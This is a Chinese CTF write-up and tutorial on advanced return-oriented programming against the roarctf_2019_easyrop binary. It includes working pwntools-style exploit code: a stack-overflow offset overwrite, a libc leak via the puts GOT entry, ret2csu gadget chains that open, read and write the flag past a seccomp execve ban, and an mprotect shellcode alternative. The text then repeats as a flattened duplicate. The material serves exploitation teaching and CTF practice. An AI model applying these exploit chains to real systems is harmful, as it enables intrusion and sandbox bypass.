[CTF-PWN]ROP (Return-Oriented Programming)——进阶篇
字数 1854 2025-08-09 15:23:02

ROP (Return-Oriented Programming) 进阶教学文档

1. x86-64 架构下的函数传参机制

在x86-64架构中,函数调用时的参数传递遵循以下规则:

  • 前六个参数依次存储在寄存器中:
    • 第1个参数:RDI
    • 第2个参数:RSI
    • 第3个参数:RDX
    • 第4个参数:RCX
    • 第5个参数:R8
    • 第6个参数:R9
  • 第七个及以后的参数从右至左压入栈中

2. Linux 文件描述符(File Descriptor)

Linux将所有输入输出流视为文件,使用文件描述符(fd)进行管理:

  • 标准文件描述符:
    • 0 -> stdin (标准输入)
    • 1 -> stdout (标准输出)
    • 2 -> stderr (标准错误)
  • 新打开的文件会分配下一个可用fd,例如打开"flag"文件:
    • 0 -> stdin
    • 1 -> stdout
    • 2 -> stderr
    • 3 -> "flag"

3. seccomp 沙箱机制

seccomp是Linux内核提供的应用程序沙箱机制:

  • 可以禁用特定的系统调用(syscall)
  • CTF中常见禁用execve,阻止攻击者获取shell
  • 绕过思路:ORW (Open-Read-Write)技术
    • 打开flag文件
    • 读取flag内容到内存
    • 将内容输出

使用seccomp-tools工具查看程序的沙箱状态:

seccomp-tools dump ./binary

4. ROP利用实例:roarctf_2019_easyrop

4.1 程序分析

检查保护机制:

  • 无PIE (地址随机化)
  • 无stack canary (栈保护)

seccomp分析:

  • 禁用了execve()系统调用

漏洞点:

  • 简单的栈溢出漏洞
  • 可以向victim[1032]数组无限制写入

4.2 利用思路

  1. 泄露Libc基地址
  2. 使用ORW技术获取flag:
    • 打开flag文件
    • 读取flag内容
    • 输出内容

4.3 具体利用步骤

4.3.1 确定溢出偏移

  • 溢出victim数组后会覆盖变量v9
  • v9是记录输入偏移的变量
  • v9与victim[]的偏移为0x418
  • 返回地址与victim[]的偏移为0x428
  • 需要将v9覆盖为0x428:
    padding = "A" * 0x418 + "\x28"
    

4.3.2 泄露libc基地址

利用GOT表中的puts函数地址泄露libc:

payload = padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
target.sendline(payload)
target.recvuntil("given path.\n\x00")
puts_leak = u64(target.recv(6).ljust(8, '\x00'))
libc_base = puts_leak - libc.sym["puts"]

4.3.3 Open-Read-Write (ORW)实现

由于execve被禁用,使用ORW技术:

  1. 将字符串"flag"写入.bss段
  2. 调用open("flag", 0)打开文件,获取fd=3
  3. 调用read(3, buf, size)读取flag内容
  4. 调用write(2, buf, size)输出flag到stderr

4.4 ret2csu技术

当需要控制多个参数时,可以使用libc_csu_init中的通用gadgets:

4.4.1 ret2csu结构

分为两部分:

  1. p6r;ret (pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret)
  2. mov;...;call (mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8])

4.4.2 ret2csu利用方式

ROP构造:

ROP = p6r;ret + p64(0) + p64(1) + 函数指针 + arg1 + arg2 + arg3 + mov;...;call + padding(56 bytes) + 返回地址

注意事项:

  • r12传入的是函数指针,不是函数地址
  • 需要填充56字节平衡栈空间

4.5 完整利用流程

  1. 使用read向.bss段写入"flag\x00"
  2. 将open地址写入.bss段作为函数指针
  3. 使用ret2csu调用open("flag", 0)
  4. 将read地址写入.bss段
  5. 使用ret2csu调用read(3, buf, size)
  6. 将write地址写入.bss段
  7. 使用ret2csu调用write(2, buf, size)

4.6 替代方案

泄露出libc基地址后,也可以:

  1. 使用libc中的gadget控制参数
    • pop rdx; ret
  2. 写入ORW shellcode
  3. 调用mprotect使内存可执行
  4. 跳转到shellcode执行

5. 关键代码片段

5.1 ret2csu函数

def ret2csu(functionPtr, arg1, arg2, arg3):
    p6r = 0x401B8A
    movecall = 0x401B70
    payload = p64(p6r) + p64(0) + p64(1) + p64(functionPtr)
    payload += p64(arg1) + p64(arg2) + p64(arg3)
    payload += p64(movecall)
    payload += "A" * 56  # balance the stack
    payload += p64(main)  # return to main
    return payload

5.2 使用read写入内存

def read2Address(address, content, libc_read):
    target.recvuntil(">> ")
    padding = "A" * 0x418 + "\x28"
    payload = padding
    payload += p64(pop_rdi) + p64(0)
    payload += p64(pop_rsi_r15) + p64(address) + p64(0)
    payload += p64(libc_read) + p64(main)
    target.sendline(payload)
    target.sendline(content)

6. 总结

ROP进阶技术要点:

  1. 掌握x86-64传参规则
  2. 理解文件描述符概念
  3. 熟悉seccomp限制及绕过方法
  4. 精通ret2csu技术控制多参数
  5. 熟练使用ORW技术绕过execve限制
  6. 灵活运用内存读写操作构建ROP链

通过系统性地组合这些技术,可以在各种保护机制下实现有效的漏洞利用。

ROP (Return-Oriented Programming) 进阶教学文档 1. x86-64 架构下的函数传参机制 在x86-64架构中,函数调用时的参数传递遵循以下规则: 前六个参数依次存储在寄存器中: 第1个参数:RDI 第2个参数:RSI 第3个参数:RDX 第4个参数:RCX 第5个参数:R8 第6个参数:R9 第七个及以后的参数从右至左压入栈中 2. Linux 文件描述符(File Descriptor) Linux将所有输入输出流视为文件,使用文件描述符(fd)进行管理: 标准文件描述符: 0 -> stdin (标准输入) 1 -> stdout (标准输出) 2 -> stderr (标准错误) 新打开的文件会分配下一个可用fd,例如打开"flag"文件: 0 -> stdin 1 -> stdout 2 -> stderr 3 -> "flag" 3. seccomp 沙箱机制 seccomp是Linux内核提供的应用程序沙箱机制: 可以禁用特定的系统调用(syscall) CTF中常见禁用execve,阻止攻击者获取shell 绕过思路:ORW (Open-Read-Write)技术 打开flag文件 读取flag内容到内存 将内容输出 使用seccomp-tools工具查看程序的沙箱状态: 4. ROP利用实例:roarctf_ 2019_ easyrop 4.1 程序分析 检查保护机制: 无PIE (地址随机化) 无stack canary (栈保护) seccomp分析: 禁用了execve()系统调用 漏洞点: 简单的栈溢出漏洞 可以向victim[ 1032 ]数组无限制写入 4.2 利用思路 泄露Libc基地址 使用ORW技术获取flag: 打开flag文件 读取flag内容 输出内容 4.3 具体利用步骤 4.3.1 确定溢出偏移 溢出victim数组后会覆盖变量v9 v9是记录输入偏移的变量 v9与victim[ ]的偏移为0x418 返回地址与victim[ ]的偏移为0x428 需要将v9覆盖为0x428: 4.3.2 泄露libc基地址 利用GOT表中的puts函数地址泄露libc: 4.3.3 Open-Read-Write (ORW)实现 由于execve被禁用,使用ORW技术: 将字符串"flag"写入.bss段 调用open("flag", 0)打开文件,获取fd=3 调用read(3, buf, size)读取flag内容 调用write(2, buf, size)输出flag到stderr 4.4 ret2csu技术 当需要控制多个参数时,可以使用libc_ csu_ init中的通用gadgets: 4.4.1 ret2csu结构 分为两部分: p6r;ret (pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret) mov;...;call (mov rdx, r15; mov rsi, r14; mov edi, r13d; call [ r12+rbx* 8 ]) 4.4.2 ret2csu利用方式 ROP构造: 注意事项: r12传入的是函数指针,不是函数地址 需要填充56字节平衡栈空间 4.5 完整利用流程 使用read向.bss段写入"flag\x00" 将open地址写入.bss段作为函数指针 使用ret2csu调用open("flag", 0) 将read地址写入.bss段 使用ret2csu调用read(3, buf, size) 将write地址写入.bss段 使用ret2csu调用write(2, buf, size) 4.6 替代方案 泄露出libc基地址后,也可以: 使用libc中的gadget控制参数 如 pop rdx; ret 写入ORW shellcode 调用mprotect使内存可执行 跳转到shellcode执行 5. 关键代码片段 5.1 ret2csu函数 5.2 使用read写入内存 6. 总结 ROP进阶技术要点: 掌握x86-64传参规则 理解文件描述符概念 熟悉seccomp限制及绕过方法 精通ret2csu技术控制多参数 熟练使用ORW技术绕过execve限制 灵活运用内存读写操作构建ROP链 通过系统性地组合这些技术,可以在各种保护机制下实现有效的漏洞利用。